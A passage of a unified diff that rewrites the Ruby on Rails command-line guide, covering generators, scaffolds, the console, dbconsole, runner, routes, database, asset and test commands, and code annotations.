-    invoke  scss
-   identical    app/assets/stylesheets/scaffolds.scss
+$ bin/rails generate resource post title:string body:text
+      invoke  active_record
+      create    db/migrate/20250919150856_create_posts.rb
+      create    app/models/post.rb
+      invoke    test_unit
+      create      test/models/post_test.rb
+      create      test/fixtures/posts.yml
+      invoke  controller
+      create    app/controllers/posts_controller.rb
+      invoke    erb
+      create      app/views/posts
+      invoke    test_unit
+      create      test/controllers/posts_controller_test.rb
+      invoke    helper
+      create      app/helpers/posts_helper.rb
+      invoke      test_unit
+      invoke  resource_route
+       route    resources :posts
 ```
 
-The generator checks that there exist the directories for models, controllers, helpers, layouts, functional and unit tests, stylesheets, creates the views, controller, model and database migration for HighScore (creating the `high_scores` table and fields), takes care of the route for the **resource**, and new tests for everything.
+Use the `resource` command when you don't need views (e.g. writing an API) or
+prefer to add controller actions manually.
+
+### Generating Scaffolds
+
+A Rails scaffold generates a full set of files for a resource, including a
+model, controller, views (HTML and JSON), routes, migration, tests, and helper
+files. It can be used for quickly prototyping CRUD interfaces or when you want
+to generate the basic structure of a resource as a starting point that you can
+customize.
 
-The migration requires that we **migrate**, that is, run some Ruby code (living in that `20130717151933_create_high_scores.rb`) to modify the schema of our database. Which database? The SQLite3 database that Rails will create for you when we run the `bin/rails db:migrate` command. We'll talk more about bin/rails in-depth in a little while.
+If you scaffold the `post` resource you can see all of the files mentioned above
+being generated:
 
 ```bash
-$ bin/rails db:migrate
-==  CreateHighScores: migrating ===============================================
--- create_table(:high_scores)
-   -> 0.0017s
-==  CreateHighScores: migrated (0.0019s) ======================================
+$ bin/rails generate scaffold post title:string body:text
+      invoke  active_record
+      create    db/migrate/20250919150748_create_posts.rb
+      create    app/models/post.rb
+      invoke    test_unit
+      create      test/models/post_test.rb
+      create      test/fixtures/posts.yml
+      invoke  resource_route
+       route    resources :posts
+      invoke  scaffold_controller
+      create    app/controllers/posts_controller.rb
+      invoke    erb
+      create      app/views/posts
+      create      app/views/posts/index.html.erb
+      create      app/views/posts/edit.html.erb
+      create      app/views/posts/show.html.erb
+      create      app/views/posts/new.html.erb
+      create      app/views/posts/_form.html.erb
+      create      app/views/posts/_post.html.erb
+      invoke    resource_route
+      invoke    test_unit
+      create      test/controllers/posts_controller_test.rb
+      create      test/system/posts_test.rb
+      invoke    helper
+      create      app/helpers/posts_helper.rb
+      invoke      test_unit
+      invoke    jbuilder
+      create      app/views/posts/index.json.jbuilder
+      create      app/views/posts/show.json.jbuilder
+      create      app/views/posts/_post.json.jbuilder
 ```
 
-INFO: Let's talk about unit tests. Unit tests are code that tests and makes assertions 
-about code. In unit testing, we take a little part of code, say a method of a model, 
-and test its inputs and outputs. Unit tests are your friend. The sooner you make 
-peace with the fact that your quality of life will drastically increase when you unit 
-test your code, the better. Seriously. Please visit 
-[the testing guide](http://guides.rubyonrails.org/testing.html) for an in-depth 
-look at unit testing.
+At this point, you can run `bin/rails db:migrate` to create the `post` table
+(see [Managing the Database](#managing-the-database) for more on that command).
+Then, if you start the Rails server with `bin/rails server` and navigate to
+[http://localhost:3000/posts](http://localhost:3000/posts), you will be able to
+interact with the `post` resource - see a list of posts, create new posts, as
+well as edit and delete them.
+
+INFO: The scaffold generates test files, though you will need to modify them and
+actually add test cases for your code. See the [Testing guide](testing.html) for
+an in-depth look at creating and running tests.
+
+### Undoing Code Generation with `bin/rails destroy`
+
+Imagine you made a typing error when using the `generate` command for a model
+(or controller or scaffold or anything), it would be tedious to manually delete
+each file that was created by the generator. Rails provides a `destroy` command
+for that reason. You can think of `destroy` as the opposite of `generate`. It'll
+figure out what generate did, and undo it.
 
-Let's see the interface Rails created for us.
+INFO: You can also use the alias "d" to invoke the destroy command: `bin/rails d`.
+
+For example, if you meant to generate an `article` model but instead typed
+`artcle`:
 
 ```bash
-$ bin/rails server
+$ bin/rails generate model Artcle title:string body:text
+      invoke  active_record
+      create    db/migrate/20250808142940_create_artcles.rb
+      create    app/models/artcle.rb
+      invoke    test_unit
+      create      test/models/artcle_test.rb
+      create      test/fixtures/artcles.yml
 ```
 
-Go to your browser and open [http://localhost:3000/high_scores](http://localhost:3000/high_scores), now we can create new high scores (55,160 on Space Invaders!)
+You can undo the `generate` command with `destroy` like this:
 
-### `rails console`
+```bash
+$ bin/rails destroy model Artcle title:string body:text
+      invoke  active_record
+      remove    db/migrate/20250808142940_create_artcles.rb
+      remove    app/models/artcle.rb
+      invoke    test_unit
+      remove      test/models/artcle_test.rb
+      remove      test/fixtures/artcles.yml
+```
+
+Interacting with a Rails Application
+------------------------------------
 
-The `console` command lets you interact with your Rails application from the command line. On the underside, `rails console` uses IRB, so if you've ever used it, you'll be right at home. This is useful for testing out quick ideas with code and changing data server-side without touching the website.
+### `bin/rails console`
 
-INFO: You can also use the alias "c" to invoke the console: `rails c`.
+The `bin/rails console` command loads a full Rails environment (including
+models, database, etc.) into an interactive IRB style shell. It is a powerful
+feature of the Ruby on Rails framework as it allows you to interact with, debug
+and explore your entire application at the command line.
 
-You can specify the environment in which the `console` command should operate.
+The Rails Console can be useful for testing out ideas by prototyping with code
+and for creating and updating records in the database without needing to use a
+browser.
 
 ```bash
-$ bin/rails console staging
+$ bin/rails console
+my-app(dev):001:0> Post.create(title: 'First!')
 ```
 
-If you wish to test out some code without changing any data, you can do that by invoking `rails console --sandbox`.
+The Rails Console has several useful features. For example, if you wish to test
+out some code without changing any data, you can use `sandbox` mode with
+`bin/rails console --sandbox`. The `sandbox` mode wraps all database operations
+in a transaction that rolls back when you exit:
 
 ```bash
 $ bin/rails console --sandbox
-Loading development environment in sandbox (Rails 5.0.0)
+Loading development environment in sandbox (Rails 8.2.0)
 Any modifications you make will be rolled back on exit
-irb(main):001:0>
+my-app(dev):001:0>
 ```
 
-#### The app and helper objects
+The `sandbox` option is great for safely testing destructive changes without
+affecting your database.
 
-Inside the `rails console` you have access to the `app` and `helper` instances.
-
-With the `app` method you can access url and path helpers, as well as do requests.
+You can also specify the Rails environment for the `console` command with the
+`-e` option:
 
 ```bash
->> app.root_path
+$ bin/rails console -e test
+Loading test environment (Rails 8.1.0)
+```
+
+#### The `app` Object
+
+Inside the Rails Console you have access to the `app` and `helper` instances.
+
+With the `app` method you can access named route helpers:
+
+```irb
+my-app(dev)> app.root_path
 => "/"
+my-app(dev)> app.edit_user_path
+=> "profile/edit"
+```
+
+You can also use the `app` object to make requests of your application without
+starting a real server:
 
->> app.get _
-Started GET "/" for 127.0.0.1 at 2014-06-19 10:41:57 -0300
+```irb
+my-app(dev)> app.get "/", headers: { "Host" => "localhost" }
+Started GET "/" for 127.0.0.1 at 2025-08-11 11:11:34 -0500
 ...
+
+my-app(dev)> app.response.status
+=> 200
 ```
 
-With the `helper` method it is possible to access Rails and your application's helpers.
+NOTE: You have to pass the "Host" header with the `app.get` request above,
+because the Rack client used under-the-hood defaults to "www.example.com" if
+"Host" is not specified. You can modify your application to always use `localhost`
+using a configuration or an initializer.
 
-```bash
->> helper.time_ago_in_words 30.days.ago
-=> "about 1 month"
+The reason you can "make requests" like above is because the `app` object is the
+same one that Rails uses for integration tests:
+
+```irb
+my-app(dev)> app.class
+=> ActionDispatch::Integration::Session
+```
+
+The `app` object exposes methods like `app.cookies`, `app.session`, `app.post`,
+and `app.response`. This way you can simulate and debug integration tests in the
+Rails Console.
+
+#### The `helper` Object
+
+The `helper` object in the Rails console is your direct portal into Rails’ view
+layer. It allows you to test out view-related formatting and utility methods in
+the console, as well as custom helpers defined in your application (i.e. in
+`app/helpers`).
+
+```irb
+my-app(dev)> helper.time_ago_in_words 3.days.ago
+=> "3 days"
+
+my-app(dev)> helper.l(Date.today)
+=> "2025-08-11"
+
+my-app(dev)> helper.pluralize(3, "child")
+=> "3 children"
+
+my-app(dev)> helper.truncate("This is a very long sentence", length: 22)
+=> "This is a very long..."
+
+my-app(dev)> helper.link_to("Home", "/")
+=> "<a href=\"/\">Home</a>"
+```
+
+Assuming a `custom_helper` method is defined in a `app/helpers/*_helper.rb`
+file:
 
->> helper.my_custom_helper
-=> "my custom helper"
+```irb
+my-app(dev)> helper.custom_helper
+"testing custom_helper"
 ```
 
-### `rails dbconsole`
+### `bin/rails dbconsole`
 
-`rails dbconsole` figures out which database you're using and drops you into whichever command line interface you would use with it (and figures out the command line parameters to give to it, too!). It supports MySQL (including MariaDB), PostgreSQL and SQLite3.
+The `bin/rails dbconsole` command figures out which database you're using and
+drops you into the command line interface appropriate for that database. It also
+figures out the command line parameters to start a session based on your
+`config/database.yml` file and current Rails environment.
 
-INFO: You can also use the alias "db" to invoke the dbconsole: `rails db`.
+Once you're in a `dbconsole` session, you can interact with your database
+directly as you normally would. For example, if you're using PostgreSQL, running
+`bin/rails dbconsole` may look like this:
 
-### `rails runner`
+```bash
+$ bin/rails dbconsole
+psql (17.5 (Homebrew))
+Type "help" for help.
+
+booknotes_development=# help
+You are using psql, the command-line interface to PostgreSQL.
+Type:  \copyright for distribution terms
+       \h for help with SQL commands
+       \? for help with psql commands
+       \g or terminate with semicolon to execute query
+       \q to quit
+booknotes_development=# \dt
+                    List of relations
+ Schema |              Name              | Type  | Owner
+--------+--------------------------------+-------+-------
+ public | action_text_rich_texts         | table | bhumi
+ ...
+```
 
-`runner` runs Ruby code in the context of Rails non-interactively. For instance:
+The `dbconsole` command is a very convenient shorthand, it's equivalent to
+running the `psql` command (or `mysql` or `sqlite`) with the appropriate
+arguments from your `database.yml`:
 
 ```bash
-$ bin/rails runner "Model.long_running_method"
+psql -h <host> -p <port> -U <username> <database_name>
 ```
 
-INFO: You can also use the alias "r" to invoke the runner: `rails r`.
+So if your `database.yml` file looks like this:
+
+```yml
+development:
+  adapter: postgresql
+  database: myapp_development
+  username: myuser
+  password:
+  host: localhost
+```
 
-You can specify the environment in which the `runner` command should operate using the `-e` switch.
+Running the `bin/rails dbconsole` command is the same as:
 
 ```bash
-$ bin/rails runner -e staging "Model.long_running_method"
+psql -h localhost -U myuser myapp_development
 ```
 
-You can even execute ruby code written in a file with runner.
+NOTE: The `dbconsole` command supports MySQL (including MariaDB), PostgreSQL,
+and SQLite3. You can also use the alias "db" to invoke the dbconsole: `bin/rails db`.
+
+If you are using multiple databases, `bin/rails dbconsole` will connect to the
+primary database by default. You can specify which database to connect to using
+`--database` or `--db`:
 
 ```bash
-$ bin/rails runner lib/code_to_be_run.rb
+$ bin/rails dbconsole --database=animals
 ```
 
-### `rails destroy`
+### `bin/rails runner`
 
-Think of `destroy` as the opposite of `generate`. It'll figure out what generate did, and undo it.
+The `runner` command executes Ruby code in the context of the Rails application
+without having to open a Rails Console. This can be useful for one-off tasks
+that do not need the interactivity of the Rails Console. For instance:
 
-INFO: You can also use the alias "d" to invoke the destroy command: `rails d`.
+```bash
+$ bin/rails runner "puts User.count"
+42
+
+$ bin/rails runner 'MyJob.perform_now'
+```
+
+You can specify the environment in which the `runner` command should operate
+using the `-e` switch.
 
 ```bash
-$ bin/rails generate model Oops
-      invoke  active_record
-      create    db/migrate/20120528062523_create_oops.rb
-      create    app/models/oops.rb
-      invoke    test_unit
-      create      test/models/oops_test.rb
-      create      test/fixtures/oops.yml
+$ bin/rails runner -e production "puts User.count"
 ```
+
+You can also execute code in a Ruby file with the `runner` command, in the
+context of your Rails application:
+
 ```bash
-$ bin/rails destroy model Oops
-      invoke  active_record
-      remove    db/migrate/20120528062523_create_oops.rb
-      remove    app/models/oops.rb
-      invoke    test_unit
-      remove      test/models/oops_test.rb
-      remove      test/fixtures/oops.yml
+$ bin/rails runner lib/path_to_ruby_script.rb
 ```
 
-bin/rails
----------
+By default, `bin/rails runner` scripts are automatically wrapped with the Rails
+Executor (which is an instance of [`ActiveSupport::Executor`][]) associated with
+your Rails application. The Executor creates a “safe zone� to run arbitrary
+Ruby inside a Rails app so that the autoloader, middleware stack, and Active
+Support hooks all behave consistently.
+
+Therefore, executing `bin/rails runner lib/path_to_ruby_script.rb` is
+functionally equivalent to the following:
 
-Since Rails 5.0+ has rake commands built into the rails executable, `bin/rails` is the new default for running commands.
+```ruby
+Rails.application.executor.wrap do
+  # executes code inside lib/path_to_ruby_script.rb
+end
+```
 
-You can get a list of bin/rails tasks available to you, which will often depend on your current directory, by typing `bin/rails --help`. Each task has a description, and should help you find the thing you need.
+If you have a reason to opt of this behavior, there is a `--skip-executor`
+option.
 
 ```bash
-$ bin/rails --help
-Usage: rails COMMAND [ARGS]
+$ bin/rails runner --skip-executor lib/long_running_script.rb
+```
 
-The most common rails commands are:
-generate    Generate new code (short-cut alias: "g")
-console     Start the Rails console (short-cut alias: "c")
-server      Start the Rails server (short-cut alias: "s")
-...
+[`ActiveSupport::Executor`]:
+  https://api.rubyonrails.org/classes/ActiveSupport/Executor.html
 
-All commands can be run with -h (or --help) for more information.
+### `bin/rails boot`
 
-In addition to those commands, there are:
-about                               List versions of all Rails ...
-assets:clean[keep]                  Remove old compiled assets
-assets:clobber                      Remove compiled assets
-assets:environment                  Load asset compile environment
-assets:precompile                   Compile all the assets ...
-...
-db:fixtures:load                    Loads fixtures into the ...
-db:migrate                          Migrate the database ...
-db:migrate:status                   Display status of migrations
-db:rollback                         Rolls the schema back to ...
-db:schema:cache:clear               Clears a db/schema_cache.yml file
-db:schema:cache:dump                Creates a db/schema_cache.yml file
-db:schema:dump                      Creates a db/schema.rb file ...
-db:schema:load                      Loads a schema.rb file ...
-db:seed                             Loads the seed data ...
-db:structure:dump                   Dumps the database structure ...
-db:structure:load                   Recreates the databases ...
-db:version                          Retrieves the current schema ...
-...
-restart                             Restart app by touching ...
-tmp:create                          Creates tmp directories ...
+The `bin/rails boot` command is a low-level Rails command whose entire job is to
+boot your Rails application. Specifically it loads `config/boot.rb` and
+`config/application.rb` files so that the application environment is ready to
+run.
+
+The `boot` command boots the application and exits — it does nothing else. It
+can be useful for debugging boot problems. If your app fails to start and you
+want to isolate the boot phase (without running migrations, starting the server,
+etc.), `bin/rails boot` can be a simple test.
+
+It can also be useful for timing application initialization. You can profile how
+long your application takes to boot by wrapping `bin/rails boot` in a profiler.
+
+Inspecting an Application
+-------------------------
+
+### `bin/rails routes`
+
+The `bin/rails routes` command lists all defined routes in your application,
+including the URI Pattern and HTTP verb, as well as the Controller Action it
+maps to.
+
+```bash
+$ bin/rails routes
+  Prefix  Verb  URI Pattern     Controller#Action
+  books   GET   /books(:format) books#index
+  books   POST  /books(:format) books#create
+  ...
+  ...
+```
+
+This can be useful for tracking down a routing issue, or simply getting an
+overview of the resources and routes that are part of a Rails application. You
+can also narrow down the output of the `routes` command with options like
+`--controller(-c)` or `--grep(-g)`:
+
+```bash
+# Only show routes where the controller name contains "users"
+$ bin/rails routes --controller users
+
+# Show routes handled by namespace Admin::UsersController
+$ bin/rails routes -c admin/users
+
+# Search by name, path, or controller/action with -g (or --grep)
+$ bin/rails routes -g users
+```
+
+There is also an option, `bin/rails routes --expanded`, that displays even more
+information about each route, including the line number in your
+`config/routes.rb` where that route is defined:
+
+```bash
+$ bin/rails routes --expanded
+--[ Route 1 ]--------------------------------------------------------------------------------
+Prefix            |
+Verb              |
+URI               | /assets
+Controller#Action | Propshaft::Server
+Source Location   | propshaft (1.2.1) lib/propshaft/railtie.rb:49
+--[ Route 2 ]--------------------------------------------------------------------------------
+Prefix            | about
+Verb              | GET
+URI               | /about(.:format)
+Controller#Action | posts#about
+Source Location   | /Users/bhumi/Code/try_markdown/config/routes.rb:2
+--[ Route 3 ]--------------------------------------------------------------------------------
+Prefix            | posts
+Verb              | GET
+URI               | /posts(.:format)
+Controller#Action | posts#index
+Source Location   | /Users/bhumi/Code/try_markdown/config/routes.rb:4
 ```
-INFO: You can also use `bin/rails -T`  to get the list of tasks.
 
-### `about`
+TIP: In development mode, you can also access the same routes info by going to
+`http://localhost:3000/rails/info/routes`
 
-`bin/rails about` gives information about version numbers for Ruby, RubyGems, Rails, the Rails subcomponents, your application's folder, the current Rails environment name, your app's database adapter, and schema version. It is useful when you need to ask for help, check if a security patch might affect you, or when you need some stats for an existing Rails installation.
+### `bin/rails about`
+
+The `bin/rails about` command displays information about your Rails application,
+such as Ruby, RubyGems, and Rails versions, database adapter, schema version,
+etc. It is useful when you need to ask for help or check if a security patch
+might affect you.
 
 ```bash
 $ bin/rails about
 About your application's environment
-Rails version             5.0.0
-Ruby version              2.2.2 (x86_64-linux)
-RubyGems version          2.4.6
-Rack version              1.6
+Rails version             8.2.0
+Ruby version              3.2.0 (x86_64-linux)
+RubyGems version          3.3.7
+Rack version              3.0.8
 JavaScript Runtime        Node.js (V8)
-Middleware                Rack::Sendfile, ActionDispatch::Static, ActionDispatch::Executor, #<ActiveSupport::Cache::Strategy::LocalCache::Middleware:0x007ffd131a7c88>, Rack::Runtime, Rack::MethodOverride, ActionDispatch::RequestId, Rails::Rack::Logger, ActionDispatch::ShowExceptions, ActionDispatch::DebugExceptions, ActionDispatch::RemoteIp, ActionDispatch::Reloader, ActionDispatch::Callbacks, ActiveRecord::Migration::CheckPending, ActionDispatch::Cookies, ActionDispatch::Session::CookieStore, ActionDispatch::Flash, Rack::Head, Rack::ConditionalGet, Rack::ETag
-Application root          /home/foobar/commandsapp
+Middleware:               ActionDispatch::HostAuthorization, Rack::Sendfile, ...
+Application root          /home/code/my_app
 Environment               development
 Database adapter          sqlite3
-Database schema version   20110805173523
+Database schema version   20250205173523
+```
+
+### `bin/rails initializers`
+
+The `bin/rails initializers` command prints out all defined initializers in the
+order they are invoked by Rails:
+
+```bash
+$ bin/rails initializers
+ActiveSupport::Railtie.active_support.deprecator
+ActionDispatch::Railtie.action_dispatch.deprecator
+ActiveModel::Railtie.active_model.deprecator
+...
+Booknotes::Application.set_routes_reloader_hook
+Booknotes::Application.set_clear_dependencies_hook
+Booknotes::Application.enable_yjit
+```
+
+This command can be useful when initializers depend on each other and the order
+in which they are run matters. Using this command, you can see what's run
+before/after and discover the relationship between initializers. Rails runs
+framework initializers first and then application ones, defined in
+`config/initializers`.
+
+### `bin/rails middleware`
+
+The `bin/rails middleware` shows you the entire Rack middleware stack for your
+Rails application, in the exact order the middlewares are run for each request.
+
+```bash
+$ bin/rails middleware
+use ActionDispatch::HostAuthorization
+use Rack::Sendfile
+use ActionDispatch::Static
+use ActionDispatch::Executor
+use ActionDispatch::ServerTiming
+...
+```
+
+This can be useful to see which middleware Rails includes and which ones are
+added by gems (Warden::Manager from Devise) as well as for debugging and
+profiling.
+
+### `bin/rails stats`
+
+The `bin/rails stats` command shows you things like lines of code (LOC) and the
+number of classes and methods for various components in your application.
+
+```bash
+$ bin/rails stats
++----------------------+--------+--------+---------+---------+-----+-------+
+| Name                 |  Lines |    LOC | Classes | Methods | M/C | LOC/M |
++----------------------+--------+--------+---------+---------+-----+-------+
+| Controllers          |    309 |    247 |       7 |      37 |   5 |     4 |
+| Helpers              |     10 |     10 |       0 |       0 |   0 |     0 |
+| Jobs                 |      7 |      2 |       1 |       0 |   0 |     0 |
+| Models               |     89 |     70 |       6 |       3 |   0 |    21 |
+| Mailers              |     10 |     10 |       2 |       1 |   0 |     8 |
+| Channels             |     16 |     14 |       1 |       2 |   2 |     5 |
+| Views                |    622 |    501 |       0 |       1 |   0 |   499 |
+| Stylesheets          |    584 |    495 |       0 |       0 |   0 |     0 |
+| JavaScript           |     81 |     62 |       0 |       0 |   0 |     0 |
+| Libraries            |      0 |      0 |       0 |       0 |   0 |     0 |
+| Controller tests     |    117 |     75 |       4 |       9 |   2 |     6 |
+| Helper tests         |      0 |      0 |       0 |       0 |   0 |     0 |
+| Model tests          |     21 |      9 |       3 |       0 |   0 |     0 |
+| Mailer tests         |      7 |      5 |       1 |       1 |   1 |     3 |
+| Integration tests    |      0 |      0 |       0 |       0 |   0 |     0 |
+| System tests         |     51 |     41 |       1 |       4 |   4 |     8 |
++----------------------+--------+--------+---------+---------+-----+-------+
+| Total                |   1924 |   1541 |      26 |      58 |   2 |    24 |
++----------------------+--------+--------+---------+---------+-----+-------+
+  Code LOC: 1411     Test LOC: 130     Code to Test Ratio: 1:0.1
+```
+
+### `bin/rails time:zones:all`
+
+The `bin/rails time:zones:all` command prints the complete list of time zones
+that Active Support knows about, along with their UTC offsets followed by the
+Rails timezone identifiers.
+
+As an example, you can use `bin/rails time:zones:local` to see your system's
+timezone:
+
+```bash
+$ bin/rails time:zones:local
+
+* UTC -06:00 *
+Central America
+Central Time (US & Canada)
+Chihuahua
+Guadalajara
+Mexico City
+Monterrey
+Saskatchewan
+```
+
+This can be useful when setting `config.time_zone` in `config/application.rb`,
+when you need an exact Rails time zone name and spelling (e.g., "Pacific Time
+(US & Canada)"), to validate user input or when debugging.
+
+Managing Assets
+---------------
+
+The `bin/rails assets:*` commands allow you to manage assets in the `app/assets`
+directory.
+
+You can get a list of all commands in the `assets:` namespace like this:
+
+```bash
+$ bin/rails -T assets
+bin/rails assets:clean[count]  # Removes old files in config.assets.output_path
+bin/rails assets:clobber       # Remove config.assets.output_path
+bin/rails assets:precompile    # Compile all the assets from config.assets.paths
+bin/rails assets:reveal        # Print all the assets available in config.assets.paths
+bin/rails assets:reveal:full   # Print the full path of assets available in config.assets.paths
 ```
 
-### `assets`
+You can precompile the assets in `app/assets` using `bin/rails
+assets:precompile`. See the [Asset Pipeline
+guide](asset_pipeline.html#precompiling-assets) for more on precompiling.
 
-You can precompile the assets in `app/assets` using `bin/rails assets:precompile`, and remove older compiled assets using `bin/rails assets:clean`. The `assets:clean` task allows for rolling deploys that may still be linking to an old asset while the new assets are being built.
+You can remove older compiled assets using `bin/rails assets:clean`. The
+`assets:clean` command allows for rolling deploys that may still be linking to
+an old asset while the new assets are being built.
 
 If you want to clear `public/assets` completely, you can use `bin/rails assets:clobber`.
 
-### `db`
+Managing the Database
+---------------------
+
+The commands in this section, `bin/rails db:*`, are all about setting up
+databases, managing migrations, etc.
+
+You can get a list of all commands in the `db:` namespace like this:
+
+```bash
+$ bin/rails -T db
+bin/rails db:create              # Create the database from DATABASE_URL or
+bin/rails db:drop                # Drop the database from DATABASE_URL or
+bin/rails db:encryption:init     # Generate a set of keys for configuring
+bin/rails db:environment:set     # Set the environment value for the database
+bin/rails db:fixtures:load       # Load fixtures into the current environments
+bin/rails db:migrate             # Migrate the database (options: VERSION=x,
+bin/rails db:migrate:down        # Run the "down" for a given migration VERSION
+bin/rails db:migrate:redo        # Roll back the database one migration and
+bin/rails db:migrate:status      # Display status of migrations
+bin/rails db:migrate:up          # Run the "up" for a given migration VERSION
+bin/rails db:prepare             # Run setup if database does not exist, or run
+bin/rails db:reset               # Drop and recreate all databases from their
+bin/rails db:rollback            # Roll the schema back to the previous version
+bin/rails db:schema:cache:clear  # Clear a db/schema_cache.yml file
+bin/rails db:schema:cache:dump   # Create a db/schema_cache.yml file
+bin/rails db:schema:dump         # Create a database schema file (either db/
+bin/rails db:schema:load         # Load a database schema file (either db/
+bin/rails db:seed                # Load the seed data from db/seeds.rb
+bin/rails db:seed:replant        # Truncate tables of each database for current
+bin/rails db:setup               # Create all databases, load all schemas, and
+bin/rails db:version             # Retrieve the current schema version number
+bin/rails test:db                # Reset the database and run `bin/rails test`
+```
+
+### Database Setup
+
+The `db:create` and `db:drop` commands create or delete the database for the
+current environment (or all environments with the `db:create:all`,
+`db:drop:all`)
+
+The `db:seed` command loads sample data from `db/seeds.rb` and the
+`db:seed:replant` command truncates tables of each database for the current
+environment and then loads the seed data.
+
+The `db:setup` command creates all databases, loads all schemas, and initializes
+with the seed data (it does not drop databases first, like the `db:reset`
+command below).
+
+The `db:reset` command drops and recreates all databases from their schema for
+the current environment and loads the seed data (so it's a combination of the
+above commands).
+
+NOTE: For more on seed data, see [this
+section](active_record_migrations.html#migrations-and-seed-data) of the Active
+Record Migrations guide.
 
-The most common tasks of the `db:` bin/rails namespace are `migrate` and `create`, and it will pay off to try out all of the migration bin/rails tasks (`up`, `down`, `redo`, `reset`). `bin/rails db:version` is useful when troubleshooting, telling you the current version of the database.
+### Migrations
 
-More information about migrations can be found in the [Migrations](active_record_migrations.html) guide.
+The `db:migrate` command is one of the most frequently run commands in a Rails
+application; it migrates the database by running all new (not yet run)
+migrations.
 
-### `notes`
+The `db:migrate:up` command runs the "up" method and the `db:migrate:down`
+command runs the "down" method for the migration specified by the VERSION
+argument.
 
-`bin/rails notes` will search through your code for comments beginning with FIXME, OPTIMIZE or TODO. The search is done in files with extension `.builder`, `.rb`, `.rake`, `.yml`, `.yaml`, `.ruby`, `.css`, `.js` and `.erb` for both default and custom annotations.
+```bash
+$ bin/rails db:migrate:down VERSION=20250812120000
+```
+
+The `db:rollback` command rolls the schema back to the previous version (or you
+can specify steps with the `STEP=n` argument).
+
+The `db:migrate:redo` command rolls back the database one migration and
+re-migrates up. It is a combination of the above two commands.
+
+There is also a `db:migrate:status` command, which shows which migrations have
+been run and which are still pending:
+
+```bash
+$ bin/rails db:migrate:status
+database: db/development.sqlite3
+
+ Status   Migration ID    Migration Name
+--------------------------------------------------
+   up     20250101010101  Create users
+   up     20250102020202  Add email to users
+  down    20250812120000  Add age to users
+```
+
+NOTE: Please see the [Migration Guide](active_record_migrations.html) for an
+explanation of concepts related to database migrations and other migration commands.
+
+### Schema Management
+
+There are two main commands that help with managing the database schema in your
+Rails application: `db:schema:dump` and `db:schema:load`.
+
+The `db:schema:dump` command reads your database’s current schema and writes
+it out to the `db/schema.rb` file (or `db/structure.sql` if you’ve configured
+the schema format to `sql`). After running migrations, Rails automatically calls
+`schema:dump` so your schema file is always up to date (and doesn't need to be
+modified manually).
+
+The schema file is a blueprint of your database and it is useful for setting up
+new environments for tests or development. It’s version-controlled, so you can
+see changes to the schema over time.
+
+The `db:schema:load` command drops and recreates the database schema from
+`db/schema.rb` (or `db/structure.sql`). It does this directly, *without*
+replaying each migration one at a time.
+
+This command is useful for quickly resetting a database to the current schema
+without running years of migrations one by one. For example, running `db:setup`
+also calls `db:schema:load` after creating the database and before seeding it.
+
+You can think of `db:schema:dump` as the one that *writes* the `schema.rb` file
+and `db:schema:load` as the one that *reads* that file.
+
+### Other Utility Commands
+
+#### `bin/rails db:version`
+
+The `bin/rails db:version` command will show you the current version of the
+database, which can be useful for troubleshooting.
+
+```bash
+$ bin/rails db:version
+
+database: storage/development.sqlite3
+Current version: 20250806173936
+```
+
+#### `db:fixtures:load`
+
+The `db:fixtures:load` command loads fixtures into the current environment's
+database. To load specific fixtures, you can use `FIXTURES=x,y`. To load from a
+subdirectory in `test/fixtures`, use `FIXTURES_DIR=z`.
+
+```bash
+$ bin/rails db:fixtures:load
+   -> Loading fixtures from test/fixtures/users.yml
+   -> Loading fixtures from test/fixtures/books.yml
+```
+
+#### `db:system:change`
+
+In an existing Rails application, it's possible to switch to a different
+database. The `db:system:change` command helps with that by changing the
+`config/database.yml` file and your database gem to the target database.
+
+```bash
+$ bin/rails db:system:change --to=postgresql
+    conflict  config/database.yml
+Overwrite config/database.yml? (enter "h" for help) [Ynaqdhm] Y
+       force  config/database.yml
+        gsub  Gemfile
+        gsub  Gemfile
+...
+```
+
+#### `db:encryption:init`
+
+The `db:encryption:init` command generates a set of keys for configuring Active
+Record encryption in a given environment.
+
+Running Tests
+-------------
+
+The `bin/rails test` command helps you run the different types of tests in your
+application. The `bin/rails test --help` output has good examples of the
+different options for this command:
+
+You can run a single test by appending a line number to a filename:
+
+```bash
+  bin/rails test test/models/user_test.rb:27
+```
+
+You can run multiple tests within a line range by appending the line range to a filename:
+
+```bash
+  bin/rails test test/models/user_test.rb:10-20
+```
+
+You can run multiple files and directories at the same time:
+
+```bash
+  bin/rails test test/controllers test/integration/login_test.rb
+```
+
+Rails comes with a testing framework called Minitest and there are also Minitest
+options you can use with the `test` command:
+
+```bash
+# Only run tests whose names match the regex /validation/
+$ bin/rails test -n /validation/
+```
+
+INFO: Please see the  [Testing Guide](testing.html) for explanations and
+examples of different types of tests.
+
+Other Useful Commands
+---------------------
+
+### `bin/rails notes`
+
+The `bin/rails notes` command searches through your code for comments beginning
+with a specific keyword. You can refer to `bin/rails notes --help` for
+information about usage.
+
+By default, it will search in `app`, `config`, `db`, `lib`, and `test`
+directories for FIXME, OPTIMIZE, and TODO annotations in files with extension
+`.builder`, `.rb`, `.rake`, `.yml`, `.yaml`, `.ruby`, `.css`, `.js`, and `.erb`.
 
 ```bash
 $ bin/rails notes
-(in /home/foobar/commandsapp)
 app/controllers/admin/users_controller.rb:
   * [ 20] [TODO] any other way to do this?
   * [132] [FIXME] high priority for next deploy
 
-app/models/school.rb:
+lib/school.rb:
   * [ 13] [OPTIMIZE] refactor this code to make it faster
-  * [ 17] [FIXME]
 ```
 
-You can add support for new file extensions using `config.annotations.register_extensions` option, which receives a list of the extensions with its corresponding regex to match it up.
-
-```ruby
-config.annotations.register_extensions("scss", "sass", "less") { |annotation| /\/\/\s*(#{annotation}):?\s*(.*)$/ }
-```
+#### Annotations
 
-If you are looking for a specific annotation, say FIXME, you can use `bin/rails notes:fixme`. Note that you have to lower case the annotation's name.
+You can pass specific annotations by using the `-a` (or `--annotations`) option.
+Note that annotations are case sensitive.
 
 ```bash
-$ bin/rails notes:fixme
-(in /home/foobar/commandsapp)
+$ bin/rails notes --annotations FIXME RELEASE
 app/controllers/admin/users_controller.rb:
-  * [132] high priority for next deploy
+  * [101] [RELEASE] We need to look at this before next release
+  * [132] [FIXME] high priority for next deploy
 
-app/models/school.rb:
-  * [ 17]
+lib/school.rb:
+  * [ 17] [FIXME]
 ```
 
-You can also use custom annotations in your code and list them using `bin/rails notes:custom` by specifying the annotation using an environment variable `ANNOTATION`.
+#### Add Tags
+
+You can add more default tags to search for by using
+`config.annotations.register_tags`:
+
+```ruby
+config.annotations.register_tags("DEPRECATEME", "TESTME")
+```
 
 ```bash
-$ bin/rails notes:custom ANNOTATION=BUG
-(in /home/foobar/commandsapp)
